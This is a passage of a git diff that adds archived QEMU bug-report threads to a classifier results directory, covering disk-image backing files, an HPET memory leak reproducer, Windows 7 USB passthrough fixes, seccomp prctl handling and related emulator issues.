-O qcow2 -o backing_file=disk.qcow disk disk1.qcow + +$ ls -l +total 3146388 +-rw-r--r-- 1 sakis sakis 1073741824 10 авг 15,29 disk +-rw-r--r-- 1 sakis sakis 1074135040 10 авг 15,30 disk.qcow +-rw-r--r-- 1 sakis sakis 1074135040 10 авг 15,31 disk1.qcow + +All the data is copied again. + +$ qemu-img info disk1.qcow +image: disk1.qcow +file format: qcow2 +virtual size: 1.0G (1073741824 bytes) +disk size: 1.0G +cluster_size: 65536 +*backing file: disk.qcow* +Format specific information: + compat: 1.1 + lazy refcounts: false + refcount bits: 16 + corrupt: false + +Qemu-img works as expected though. + +$ qemu-img create -f qcow2 -o backing_file=disk1.qcow disk2.qcow + +$ ls -l +total 3146584 +-rw-r--r-- 1 sakis sakis 1073741824 10 авг 15,29 disk +-rw-r--r-- 1 sakis sakis 1074135040 10 авг 15,30 disk.qcow +-rw-r--r-- 1 sakis sakis 1074135040 10 авг 15,31 disk1.qcow +-rw-r--r-- 1 sakis sakis 197120 10 авг 15,33 disk2.qcow + +This is a different case. The original report used "qemu-img create" in step 2, which results in a sparse image that refers to the backing file for all data. Your sequence has "qemu-img convert" instead, which fully populates disk.qcow. Therefore, in step 3, "qemu-img convert" leaves the full allocation intact. + +My mistake. It's different case than mine. Above sequence (original report) works fine. + +But I do not really understand why the same is not achieved in my case. I use the convert instead of the create to get a full image in qcow format. From that point, the desired behaviour is to create a qcow that is based on the one created from the first convert and contain only the changes. Why would the second convert populate the whole image again? + +Thanks in advance. + diff --git a/results/classifier/deepseek-1/output/itself./1888714 b/results/classifier/deepseek-1/output/itself./1888714 new file mode 100644 index 00000000..0d478d97 --- /dev/null +++ b/results/classifier/deepseek-1/output/itself./1888714 @@ -0,0 +1,67 @@ + +Memory Leak in hpet_timer results in unusable machine + +Fair warning: this might be specific to QTest (specifically its clock_step) command. This reproducer only works with -accel qtest. Build with --enable-sanitizers to exit once we hit 1G RSS. + +export ASAN_OPTIONS=hard_rss_limit_mb=1000 +cat << EOF | ./i386-softmmu/qemu-system-i386 -nographic \ +-nodefaults -qtest stdio -accel qtest +writeq 0xfed0000e 0x15151515151515f1 +clock_step +clock_step +clock_step +clock_step +writeq 0xfed00100 0x5e90c5be00ff5e9e +writeq 0xfed00109 0xffffe0ff5cfec0ff +clock_step +EOF + +On my machine it takes around 10 seconds to reach the RSS limit. + +Unfortunately, I can't find a way to tell ASAN to log each malloc to figure out whats going on, but running the original fuzzing test case with the libfuzzer -trace_malloc=2 flag, I found that the allocations happen here: + +MALLOC[130968] 0x60300069ac90 32 + #0 0x55fa3f615851 in __sanitizer_print_stack_trace (/home/alxndr/Development/qemu/build/i386-softmmu/qemu-fuzz-i386+0x2683851) + #1 0x55fa3f55fe88 in fuzzer::PrintStackTrace() (/home/alxndr/Development/qemu/build/i386-softmmu/qemu-fuzz-i386+0x25cde88) + #2 0x55fa3f5447d6 in fuzzer::MallocHook(void const volatile*, unsigned long) (/home/alxndr/Development/qemu/build/i386-softmmu/qemu-fuzz-i386+0x25b27d6) + #3 0x55fa3f61bbb7 in __sanitizer::RunMallocHooks(void const*, unsigned long) (/home/alxndr/Development/qemu/build/i386-softmmu/qemu-fuzz-i386+0x2689bb7) + #4 0x55fa3f596d75 in __asan::Allocator::Allocate(unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType, bool) (/home/alxndr/Development/qemu/build/i386-softmmu/qemu-fuzz-i386+0x2604d75) + #5 0x55fa3f596f7a in __asan::asan_calloc(unsigned long, unsigned long, __sanitizer::BufferedStackTrace*) (/home/alxndr/Development/qemu/build/i386-softmmu/qemu-fuzz-i386+0x2604f7a) + #6 0x55fa3f60d173 in calloc (/home/alxndr/Development/qemu/build/i386-softmmu/qemu-fuzz-i386+0x267b173) + #7 0x7fb300737548 in g_malloc0 (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x54548) + #8 0x55fa40157689 in async_run_on_cpu /home/alxndr/Development/qemu/cpus-common.c:163:10 + #9 0x55fa409fab83 in hpet_timer /home/alxndr/Development/qemu/hw/timer/hpet.c:376:9 + #10 0x55fa416a5751 in timerlist_run_timers /home/alxndr/Development/qemu/util/qemu-timer.c:572:9 + #11 0x55fa3fcfdac4 in qtest_clock_warp /home/alxndr/Development/qemu/softmmu/cpus.c:507:9 + #12 0x55fa3fd65c35 in qtest_process_command /home/alxndr/Development/qemu/softmmu/qtest.c:665:9 + #13 0x55fa3fd5e128 in qtest_process_inbuf /home/alxndr/Development/qemu/softmmu/qtest.c:710:9 + #14 0x55fa3fd5de67 in qtest_server_inproc_recv /home/alxndr/Development/qemu/softmmu/qtest.c:817:9 + #15 0x55fa4142b64b in qtest_sendf /home/alxndr/Development/qemu/tests/qtest/libqtest.c:424:5 + #16 0x55fa4142c482 in qtest_clock_step_next /home/alxndr/Development/qemu/tests/qtest/libqtest.c:864:5 + #17 0x55fa414b12d1 in general_fuzz /home/alxndr/Development/qemu/tests/qtest/fuzz/general_fuzz.c:581:17 + +It doesn't look like we ever exit out of the loop in timerlist_run_timers, ie timer_list->active_timers is always True. + + +Info From GDB: +#0 0x0000555558070d31 in address_space_stl_internal (as=0x55555f0e8f20 <address_space_memory>, addr=0x0, val=0x0, attrs=..., result=0x0, endian=DEVICE_LITTLE_ENDIAN) at /home/alxndr/Development/qemu/memory_ldst.inc.c:323 +#1 0x0000555558071339 in address_space_stl_le (as=0x55555f0e8f20 <address_space_memory>, addr=0x0, val=0x0, attrs=..., result=0x0) at /home/alxndr/Development/qemu/memory_ldst.inc.c:357 +#2 0x000055555a6a6f95 in update_irq (timer=0x61f0000005b8, set=0x1) at /home/alxndr/Development/qemu/hw/timer/hpet.c:210 +#3 0x000055555a6ae55f in hpet_timer (opaque=0x61f0000005b8) at /home/alxndr/Development/qemu/hw/timer/hpet.c:386 +#4 0x000055555c03d178 in timerlist_run_timers (timer_list=0x60b0000528f0) at /home/alxndr/Development/qemu/util/qemu-timer.c:572 +#5 0x000055555c03d6b5 in qemu_clock_run_timers (type=QEMU_CLOCK_VIRTUAL) at /home/alxndr/Development/qemu/util/qemu-timer.c:586 +#6 0x0000555558c3d0c4 in qtest_clock_warp (dest=0x3461864) at /home/alxndr/Development/qemu/softmmu/cpus.c:507 + + +-Alex + +Still reproduces with the current git version (commit 7fe7fae8b48e3f9c647) + +I moved this report over to QEMU's new bug tracker on gitlab.com. +Please continue with the discussion here: + +https://gitlab.com/qemu-project/qemu/-/issues/538 + +Thanks for moving it over! ... let's close this one here on Launchpad now. + + diff --git a/results/classifier/deepseek-1/output/itself./685096 b/results/classifier/deepseek-1/output/itself./685096 new file mode 100644 index 00000000..ba5b6022 --- /dev/null +++ b/results/classifier/deepseek-1/output/itself./685096 @@ -0,0 +1,335 @@ + +USB Passthrough not working for Windows 7 guest + +USB Passthrough from host to guest is not working for a 32-bit Windows 7 guest, while it works perfectly for a 32-bit Windows XP guest. + +The device appears in the device manager of Windows 7, but with "Error code 10: device cannot start". I have tried this with numerous USB thumbdrives and a USB wireless NIC, all with the same result. The device name and functionality is recognized, so at least some USB negotiation is taking place. + +I am trying this with the latest git-pull of QEMU-KVM. + +The command line to launch qemu-kvm for win7 is: +sudo /home/user/local_install/bin/qemu-system-x86_64 -cpu core2duo -m 1024 -smp 2 -vga std -hda ./disk_images/win7.qcow -vnc :1 -boot c -usb -usbdevice tablet -usbdevice host:0781:5150 + +The command line to launch qemu-kvm for winxp is: +sudo /home/user/local_install/bin/qemu-system-x86_64 -cpu core2duo -m 1024 -smp 2 -usb -vga std -hda ./winxpsp3.qcow -vnc :0 -boot c -usbdevice tablet -usbdevice host:0781:5150 + +Any help is appreciated. + +I suffer from the same issue using QEMU 1.1. I tried 5 different USB thumbdrives and none of them worked. Interesting was that a USB 1.1 mouse was working though. + +Same problem here, using: +qemu-kvm 0.13 +kernel 2.6.36.2 +kvm-intel + +Guest: +Windows 7 Enterprise x64 + +INFO USBHOST: + Device 2.2, speed 480 Mb/s + Class 00: USB device 054c:02a5, Storage Media + +INFO USB: +Device 0.3, Speed 480 Mb/s, Product Storage Media + +Device appears in Windows 7 but in Error Code 10. + + +Ugh... I have just realized that KVM only supports UHCI, so not USB 2.0 support + + +two years passed... nothihg changed.... +qemu 0.14.1+win7(32/64) the problem persist + +Just found this problem with Win7 guest, both 32 and 64-bit, using qemu-kvm 1.01. WinXP is absolutely fine. + +How can this /possibly/ not be a priority to fix? + +This is an issue for me with Win7 SP1 64-bit guest on Ubuntu 12.10 (qemu-kvm 1.2.0+noroms) + +Waiting on a microsoft license, hoping to be able to test this in the next 2 weeks. + +This is also affecting Windows Server 2008 and happens with all usb storage devices I tested. + +Bug #1033727 is specifically about qemu-kvm 1.2.0 and higher, see comment #8 on that bug for example. This bug is about earlier versions, including the version in 12.04 LTS. + +This maybe not a duplicate as we're using 1.3.1 and Windows 7 isn't working there either. All other Operating systems are working though. + +@Wessel: I believe the bug you pointed out as duplicate is saying that USB passthrough isnt working on any guest OS, but this bug is specifically targeted about Windows 7 not working. + +I don't recall saying there was a duplicate of this bug? I merely objected to #1033727 being marked a duplicate. + +Lol weird it's not marked as duplicate anymore anyway, guess it was not you then. Don't know what happened. + +Can this bug be fixed in KVM or is it really to Windows specific? Else I may have a look at it, never did any KVM development though, should be fun. + +@Serge: Did you get the license already and had a look at this bug? + +@Sam, + +I have the license now, but haven't had a chance to reproduce yet, sorry. It's on my list. + +Upstream git head still gives me this problem, as does back to 0.14.0. + +Note however that the same qemu builds, with the same usb stick, work fine using a linux guest. + +The same stick, inserted to the same windows version on native hardware also works. + +So it's not bad hardware, it's not hardware unsupported by windows, and qemu *is* passing the usb device through sufficiently that windows SHOULD be able to make use of it. + +So this appears to be something specific that windows wants. + +I've seen mention of windows registry tricks involving removal of top and bottom filters for the device... I haven't tested that to see if that would be a workaround. + +Is there any workaround? + +We're currently evaluating different RTOS systems. One is Linux RT with KVM/QEMU with Windows 7. This bug breaks the latency measurement setup and Linux RT is out of race. It there anyway to fix the issue? + +Hi Jens, + +could you tell us exactly what you are trying to pass through, what commands you've tried, and with what version of qemu (and, if hand-built, which options were passed to configure). + +1.5 came with a new passthrough implementation, but alongside the old. So I wonder whether choosing the libusb based implementation would help. + +Hi Serge, + +for your information. I sent a mail to the devel mailing list. See below. + +I've tried to passthrough special Vector automotive usb in house devices. +Look here: http://vector.com/vi_vn1600_en.html. + +What do you mean with "what commands you've tried"? + +I've tried three QEMU versions: + +1. Ubuntu 13.04 64-bit prebuild qemu-kvm package (qemu 1.4.0) +2. Ubuntu 13.10 64-bit prebuild qemu-kvm package (qemu 1.5.0) +3. Hand builded QEMU 1.6.1 with standard configure call + $ ./configure --prefix=/opt/kvm && make -j + +Next, I want to build qemu from git? + +I use virt-manager or virsh to start/stop my guest. The QEMU command line is: + +qemu-system-x86_64 -machine accel=kvm:tcg -name VRTP1_win -S -M pc- +i440fx-1.4 -cpu SandyBridge -m 3072 -smp 2,sockets=1,cores=2,threads=1 +-uuid 8ee5add7-f1a9-d697-9c18-2c1b4967c00e -no-user-config -nodefaults +-chardev +socket,id=charmonitor,path=/var/lib/libvirt/qemu/VRTP1_win.monitor,server,nowait +-mon chardev=charmonitor,id=monitor,mode=control -rtc base=localtime +-no-shutdown -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0x1.0x2 +-device ahci,id=ahci0,bus=pci.0,addr=0x6 -drive +file=/var/lib/libvirt/images/VN8912_Development_0.9.2.bin,if=none,id +=drive-sata0-0-0,format=raw -device ide-hd,bus=ahci0.0,drive=drive- +sata0-0-0,id=sata0-0-0,bootindex=1 -netdev +tap,fd=27,id=hostnet0,vhost=on,vhostfd=28 -device virtio-net- +pci,netdev=hostnet0,id=net0,mac=52:54:00:71:f5:45,bus=pci.0,addr=0x3 +-chardev pty,id=charserial0 -device isa- +serial,chardev=charserial0,id=serial0 -device usb-tablet,id=input0 -vnc +127.0.0.1:0 -vga std -device intel-hda,id=sound0,bus=pci.0,addr=0x4 +-device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -device usb- +host,hostbus=3,hostaddr=18,id=hostdev0 -device virtio-balloon- +pci,id=balloon0,bus=pci.0,addr=0x5 + + +Mail to devel list: + +Hi all, + +we're currently evaluating different RTOS systems (Windows CE, Intime, RTX, etc.). +One system is Linux RT + KVM/QEMU with a Windows 7 guest. Up to now all +works fine, Linux RT has good latency and KVM/Qemu setup was easy. But one QEMU bug +breaks my measurement setup and evaluation. + +I've some usb devices for the Windows 7 guest. I configure them as USB passthrough. +The devices appears in the device manager of Windows 7, but with +"Error code 10": device cannot start". The Windows driver fails on USB set configuration. +The driver creates a IRP and send it via IOCTRL to lower layer. The IOCTRL fails with +invalid parameter. + +driver log: +00000009 0.65470564 vnCDrvUsbControlRequestSetConfiguration, WdfUsbTargetDeviceSelectConfig single interface failed 0xc000000d +00000010 0.65472370 vnCDrvUsbIFPrepareHardwareState, vnCDrvUsbControlRequestSetConfiguration failed: 0xc000000d +00000011 0.65473646 vnCDrvDevConPrepareHardware, vnCDrvUsbIFPrepareHardwareState failed 0xc000000d +00000012 0.65474838 vnCDrvEvtDevicePrepareHardware, vnCDrvDevConPrepareHardware failed 0xc0000001 +00000013 0.6547 + +This bug breaks my latency measurement setup and Linux RT is out of the evaluationg +race. Windows CE should not win :-), it there anyway workaround or hack to fix the issue? + +My setup: + +Ubuntu 64-bit +Windows 7 Embedded Guest +Linux Kernel: 3.10.10-rt7 +QEMU: 1.4.0, 1.6.1 + +thanks, +Jens + + +All devices work on other hypervisors like VMware Workstation etc... + +I have the same problem. I tried it with qemu 1.4 and the last 1.6.0-dfsg-2 on a debian testing system. Win 7 says always "This device cannot start. (Code 10)". I tried a lot of usb sticks but always the same... +I hope there will be sometime a solution for this :( I wait over a year in the hope that this will work. + +I also have this issue. USB pass-through didn't work on windows 8. I try to use "virt-mamanger", and set USB interface to USB 2.0. Then everything works well. The default one would be USB 1.0. + +I don't know how to transform virt-manager's configuration to QEMU's command line arguments. Hope this help. + +@FanFan, + +if you start such a vm and do 'ps -ef | grep kvm' should see the kvm command line which is working for you. + +I think you should appoint the usb bus which according to your usb type, such as: +-device piix3-usb-uhci,id=usb,bus=pci.0,addr=0x1.0x2 + -device usb-ehci,id=usb1,bus=pci.0,addr=0x4 + -device usb-hub,id=hub0,bus=usb.0,port=2 + -device usb-tablet,id=input0,bus=usb.0,port=1 + -device usb-host,hostbus=2,hostport=2,id=hostdev0,bus=usb1.0 + +Hi, I had the same problem. Tested a lot. My solution to passthrough usb devices to a windows 7 x64 guest: + +parameter part: + +-device usb-ehci,id=usb,bus=pci.0,addr=0x4 -device usb-host,vendorid=0x{},productid=0x{},id=hostdev0,bus=usb.0 + +I also tried the device +piix4-usb-uhci + +instead of usb-ehci + +piix4-usb-uhci caused the Code 10 error in the windows device manager. + +lsusb will give you a list of plugged in usb devices. eg. + +Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub +Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub + +1d6b:0002 +and +1d6b:0003 + +are vendorid:prouctid + +replace {} with the ids and it should work. I tested it with + +- ssd usb 3.0 drive +- retail usb seagate usb 2.0 hdd drive. + +followup: + +my understanding is there are a bunch of usb interfaces: + +uhci is usb 1.0 +ehci is usb 2.0 +xhci is usb 3.0 +… + +-device piix3-usb-uhci will create an usb 1.0 interface. I guess usb 1.0 is insufficent for modern usb devices so windows errors with code 10. ehci have enough to bring full support for modern usb devices. + +qemu is like LEGO where you can wire it all together :-) + +refference: +https://github.com/qemu/qemu/blob/master/docs/usb2.txt +https://en.wikipedia.org/wiki/Host_controller_interface_(USB,_Firewire)#USB + +Quoting Manuel Baesler (<email address hidden>): +> followup: +> +> my understanding is there are a bunch of usb interfaces: +> +> uhci is usb 1.0 +> ehci is usb 2.0 +> xhci is usb 3.0 +> … +> +> -device piix3-usb-uhci will create an usb 1.0 interface. I guess usb 1.0 +> is insufficent for modern usb devices so windows errors with code 10. +> ehci have enough to bring full support for modern usb devices. +> +> qemu is like LEGO where you can wire it all together :-) +> +> refference: +> https://github.com/qemu/qemu/blob/master/docs/usb2.txt +> https://en.wikipedia.org/wiki/Host_controller_interface_(USB,_Firewire)#USB + +Thanks - so (this isn't documented in the qemu man page) am I to assume +that given " -usbdevice host:0781:5150" as the original bug submitter is +doing means "give me usb 1.0" ? + +Max, does it work for you if you use (...taking a wild guess) : + + -device usb-ehci,id=usb,bus=pci.0,addr=0x4 \ + -device usb-host,vendorid=0x0781,productid=0x5150,id=hostdev0,bus=usb.0 + +or perhaps + + -device usb-ehci,id=usb,bus=pci.0,addr=0x4 \ + -usbdevice tablet \ + -device usb-host,vendorid=0x0781,productid=0x5150,id=hostdev0,bus=usb.0 + +You also might try xhci in place of ehci. + +(If this does turn out to be the answer, then the bug title should be +changed to include 'usb2.0 and usb3.0 devices', to aid people in +finding this gem in the future) + + status: incomplete + + +RIght, with '-usb' qemu creates then 'piix3-usb-uhci' device: + +00:01.2 USB controller: Intel Corporation 82371SB PIIX3 USB [Natoma/Triton II] (rev 01) + +I can connect to network with qemu 2.0 with and win 7 pro 64bit guest. + +qemu-system-x86_64 -machine accel=kvm -smp 2 -m 1024 -net none -device usb-ehci,id=usb,bus=pci.0,addr=0x4 -device usb-host,vendorid=0x0b95,productid=0x772b,id=hostdev0,bus=usb.0 -usb -usbdevice tablet -hda /srv/rhev/virtual.qcow -soundhw hda -boot c + +Bus 007 Device 014: ID 0b95:772b ASIX Electronics Corp. + + +Unfortunately there is lack of automation and documentation. Ideally you would use something like +qemu-system-x86_64 -machine accel=kvm -smp 2 -m 1024 -net none -usb2 -usbdevice host:0b95:772b -usbdevice tablet -hda /srv/rhev/virtual.qcow -soundhw hda -boot c + +Tthe usb device info from Linux should be enough to determine if the device is to be connected to usb1 or usb2, right? + +So the RightWay(tm) to fix this is to download http://git.qemu.org/?p=qemu.git;a=blob_plain;f=docs/ich9-ehci-uhci.cfg;hb=HEAD + +and run + +qemu-system-x86_64 -net none -readconfig ich9-ehci-uhci.cfg -device usb-host,vendorid=0x0b95,productid=0x772b -device usb-tablet <extra options here> + +Thanks Michal, + +so at sounds like at least that file should be distributed with the qemu package. I don't know the best place for that, or how cleanly we can integrate it to make it easiest on the end-user... + +Actually, in qemu 2.0.0 the file is packaged. However, it is packaged in the qemu package rather than qemu-system package so users are unlikely to have the file. + +The file seems to be in qemu-system-common (at least in Ubuntu 14.10). + +The next question is how to best help the user to run the right command. Should it go into the manpage? + +Comment No. 23 by Manuel Baesler worked for me in Windows 10. +lsusb gave me: +Bus 001 Device 040: ID 8564:1000 Transcend Information, Inc. JetFlash +Qemu Flags used: +-device usb-ehci,id=usb,bus=pci.0,addr=0x4 -device usb-host,vendorid=0x8564,productid=0x1000,id=hostdev0,bus=usb.0 + +The only way to see my iPhone (or any USB device) in the Windows guest is to have it redirected via "Spice", not with libvirt xml capture elements. + +Select Redirect USB device in virt-viewer and it just works. + +I have upgraded to Qemu 2.4, libvirt 1.2.21 and upgraded the qemu machine to "q35" as I tried hard to make it work via xml. +Now that I have it working, I don't plan to check if it works with less current software / machines. + +If I get the previous comments right, this is just about using the right configuration, and not a real bug? If so, I assume we can close this ticket nowadays? + +Closing this bug for QEMU, since there haven't been any replies within the last 7 months. + +Also marking the ubuntu task as incomplete. It looks like it's sorted, but let's give it some time for people to comment if they still have an issue. + +Doing the same for the debian task, which doesn't have an upstream bug anyway. + +[Expired for qemu (Ubuntu) because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/kernel/1033494 b/results/classifier/deepseek-1/output/kernel/1033494 new file mode 100644 index 00000000..394b6c28 --- /dev/null +++ b/results/classifier/deepseek-1/output/kernel/1033494 @@ -0,0 +1,16 @@ + +qemu-system-x86_64 segfaults with kernel 3.5.0 + +qemu-kvm 1.1.1 stable is running fine for me with RHEL 6 2.6.32 based kernel. + +But with 3.5.0 kernel qemu-system-x86_64 segfaults while i'm trying to install ubuntu 12.04 server reproducable. + +You find three backtraces here: +http://pastebin.com/raw.php?i=xCy2pEcP + +Stefan + +this thread and this fix http://thread.gmane.org/gmane.comp.emulators.kvm.devel/95314/focus=1338226 are about the same issue, apparently. Please try it and see if it fixes you issue too. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/kernel/1061778 b/results/classifier/deepseek-1/output/kernel/1061778 new file mode 100644 index 00000000..679e6261 --- /dev/null +++ b/results/classifier/deepseek-1/output/kernel/1061778 @@ -0,0 +1,15 @@ + +signal mask not reset on exec + +Seen in qemu-1.0 under 12.04, but AFAICT from current git it hasn't changed. + +./main-loop.c:qemu_signal_init blocks SIGALRM so it can be handled via signalfd. + +./net/tap.c:launch_script does not reset the signal mask before the execv() call, and signal masks are inherited. So the script is run with SIGALRM blocked (as can be seen in /proc/$$/status, "SigBlk: 0000000000002000"). One reasonable example of where this bites is an interface up script that calls ping with a timeout to give things a chance to settle down before continuing, but abort if this doesn't happen within a reasonable time). Since ping uses SIGALRM for the timeout, this now never terminates. + +qemu-0.14 didn't block SIGALRM, so such scripts worked fine there. + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/kernel/1679358 b/results/classifier/deepseek-1/output/kernel/1679358 new file mode 100644 index 00000000..97db1408 --- /dev/null +++ b/results/classifier/deepseek-1/output/kernel/1679358 @@ -0,0 +1,56 @@ + +ARM: RES0/RES1 SCTLR fields not read-only + +There are fields in SCTLR that are RAO/SBOP or WI or in the case of the RR field, accessible only in secure mode. Currently it seems that qemu just propagates any write to SCTLR to the register and this screwed up in a bootloader that I am debugging. + +On 3 April 2017 at 23:17, Yifan <email address hidden> wrote: +> There are fields in SCTLR that are RAO/SBOP or WI or in the case of the +> RR field, accessible only in secure mode. Currently it seems that qemu +> just propagates any write to SCTLR to the register and this screwed up +> in a bootloader that I am debugging. + +Yes, we're a bit loose in QEMU on the handling of reserved bits. + +Note that most of the SCTLR bits like this are RAO/SBOP or RAZ/SBZP, +so the guest should not be writing wrong values to them. + +thanks +-- PMM + + +So there won't be a fix in the future? I'm working with debugging a proprietary bootloader that I do not have the source code for. I wonder if this becomes an issue for any other platform targets. + +Well, I wouldn't object to a patch to fix it (it would have to correctly handle the various different versions of the CPU architecture we implement, etc), but I'm not planning on writing one today myself. + + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" within the next 60 days (otherwise it will get +closed as "Expired"). We will then eventually migrate the ticket auto- +matically to the new system (but you won't be the reporter of the bug +in the new system and thus won't get notified on changes anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/kernel/1726394 b/results/classifier/deepseek-1/output/kernel/1726394 new file mode 100644 index 00000000..3a7bb538 --- /dev/null +++ b/results/classifier/deepseek-1/output/kernel/1726394 @@ -0,0 +1,65 @@ + +Passes through prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, address) + +qemu-user passes through prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, address) unmodified, but the third argument is an address to a BPF filter, causing an EFAULT. Now, the filter is architecture-specifc, so you can't just rewrite the addresses, so the safest bet is to just return an error here. + +I guess you should just return EINVAL, but not sure. I'd really like something that can be identified, so seccomp errors can be ignored when it's not supported. + +Returning EINVAL would make sense, as that's what a pre-seccomp kernel or a kernel built without seccomp support would do. + +I worked around this in APT for now by ignoring EFAULT or rather, printing a warning. It would be nice to not do this though. + +FYI - this is from http://lists.nongnu.org/archive/html/qemu-devel/2017-11/msg00417.html + +Upstream response looks good, but not committed there yet. + +@Julian - given the case will you need this as an SRU as well or is it only tied to newer apt (or newer apt use cases)? + +Test queues in Bionic are still stalling this, there was an error on an iso test on s390x which seemed unrelated to the update - I retriggered for now as I'd assume it needs a newer fixed daily iso. + +v2 of the patch (https://lists.gnu.org/archive/html/qemu-devel/2017-11/msg01199.html) has been accepted upstream, though it isn't in master yet. + + + +@pmaydell It's actually https://lists.gnu.org/archive/html/qemu-devel/2017-11/msg00828.html :) + + +@paelzer It mostly depends how people run a apt 1.6 foreign architecture chroot with the same pointer size as the host architecture - if they install qemu-user inside the chroot, they're fine, if they copy an old version from the outside, they're not. If the copying is common, we might want to SRU that back to xenial and newer I guess. + +This was blocked migrating on a autopkgtest for a known issue now resolved. +TL;DR no bionic images. Resolved now, should migrate soon. + +While the final fix now accepted in linux-user is slightly different, the difference is only a comment. It is therefore fine if we pick this up on next merge for Bionic. + +Once complete I can plan SRU uploads for this. + +I think we can skip SRUing this, apt now has a new workaround based on execve()ing with QEMU_VERSION=meow, which calls qemu-user to exit with 0. It executes a program guaranteed to exit with 1, and just disables seccomp if that exits with 0. + +https://anonscm.debian.org/cgit/apt/apt.git/commit/?id=243acdee176dd90cb2838690cb5abbd64d4da905 + +It's hacky, but it works :) + +Ok, thanks for the info Julian! + +This bug was fixed in the package qemu - 1:2.10+dfsg-0ubuntu4 + +--------------- +qemu (1:2.10+dfsg-0ubuntu4) bionic; urgency=medium + + * Apply linux-user-return-EINVAL-from-prctl-PR_-_SECCOMP.patch from + James Cowgill to prevent qemu-user from forwarding prctl seccomp + calls (LP: #1726394) + + -- Julian Andres Klode <email address hidden> Sat, 04 Nov 2017 00:21:14 +0100 + +See it passed [1] but britney not picking up. +Giving it some time to do so. + +[1]: https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-bionic/bionic/amd64/o/open-iscsi/20171114_135029_17bf1@/log.gz + +LP, this was unfair to reverse-pass me :-) +Anyway - done - thanks Julian and James C. for your work on that. + +Fix has been released with QEMU 2.11: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=a8b154a637b586441b + diff --git a/results/classifier/deepseek-1/output/kernel/1791763 b/results/classifier/deepseek-1/output/kernel/1791763 new file mode 100644 index 00000000..2d7b3aeb --- /dev/null +++ b/results/classifier/deepseek-1/output/kernel/1791763 @@ -0,0 +1,30 @@ + +broken signal handling in nios2 user-mode emulation + +This bug is against the 3.0 release. + +It appears that the signal handling parts of the nios2 user-mode emulation have never really been completed or tested. Some examples of failing tests from the GCC testsuite are gcc.dg/pr78185.c and gcc.dg/cleanup-10.c. + +Some problems I've identified and tried to fix with the attached patch are: + +- Code copied from the Linux kernel wasn't adjusted to differentiate between host and target data types and address spaces. + +- The sigaltstack() system call returns EINVAL because fields are listed in the wrong order in struct target_sigaltstack. + +With this patch, the system calls to set up the signal handler are returning successfully, but the handler isn't being invoked, so something is still wrong. I think I need another pair of eyes to look over this code. + + + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +A quick eyeball of the patch and the current QEMU tree indicates that at least some of the bugs it's trying to fix still exist (notably a lot of use of "long" in various target_* structures, which should not be using types with a width dependent on the host system.) + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/261 + + diff --git a/results/classifier/deepseek-1/output/kernel/1878413 b/results/classifier/deepseek-1/output/kernel/1878413 new file mode 100644 index 00000000..7f0ace47 --- /dev/null +++ b/results/classifier/deepseek-1/output/kernel/1878413 @@ -0,0 +1,44 @@ + +/proc/sys/fs/binfmt_misc/ empty even though binfmt_misc is loaded + +_apksigner_ uses binfmt to execute via _jarwrapper_, since it is a JAR. We have a test suite that relies on _apksigner_ working. It was running fine in Ubuntu/bionic. Since it was pegged to LTS, it got upgraded to Ubuntu/focal and it stopped working. This is likely because /proc/sys/fs/binfmt_misc/ is totally empty. The "binfmt_misc" kernel module shows as loaded: + +$ grep binfmt /proc/modules +binfmt_misc 20480 1 - Live 0xffffffffc0452000 + +This relies on binfmt support in gitlab.com's CI runner setup, based on Docker. binfmt works in containers there, for example on Ubuntu/bionic: +https://gitlab.com/fdroid/fdroidserver/-/jobs/516857857 + +Something in Ubuntu/focal broke this when running focal in the container on the same Docker host runners: +https://gitlab.com/fdroid/fdroidserver/-/jobs/547148092 + +Debian's ci.debian.net lxc runners also have a similar problem, it might be related: +https://salsa.debian.org/ci-team/debian-ci-config/-/issues/1 + +The binfmt_misc filesystem must be mounted on /proc/sys/fs/binfmt_misc to work. + +$ mount|grep ^binfmt_misc +binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,nosuid,nodev,noexec,relatime) + + +From my experience, that mounting happens automatically once +binfmt-support is installed. At least that is the case on the +Ubuntu/bionic jobs and on my own Debian machines. Did something change +so that now it must be manually mounted? + + +It seems in the focal container, binfmt_misc doesn't get setup properly: +https://gitlab.com/eighthave/fdroidserver/-/jobs/550962360 + +$ grep binfmt /proc/modules +binfmt_misc 20480 1 - Live 0xffffffffc0461000 +$ mount | grep binfmt_misc || mount 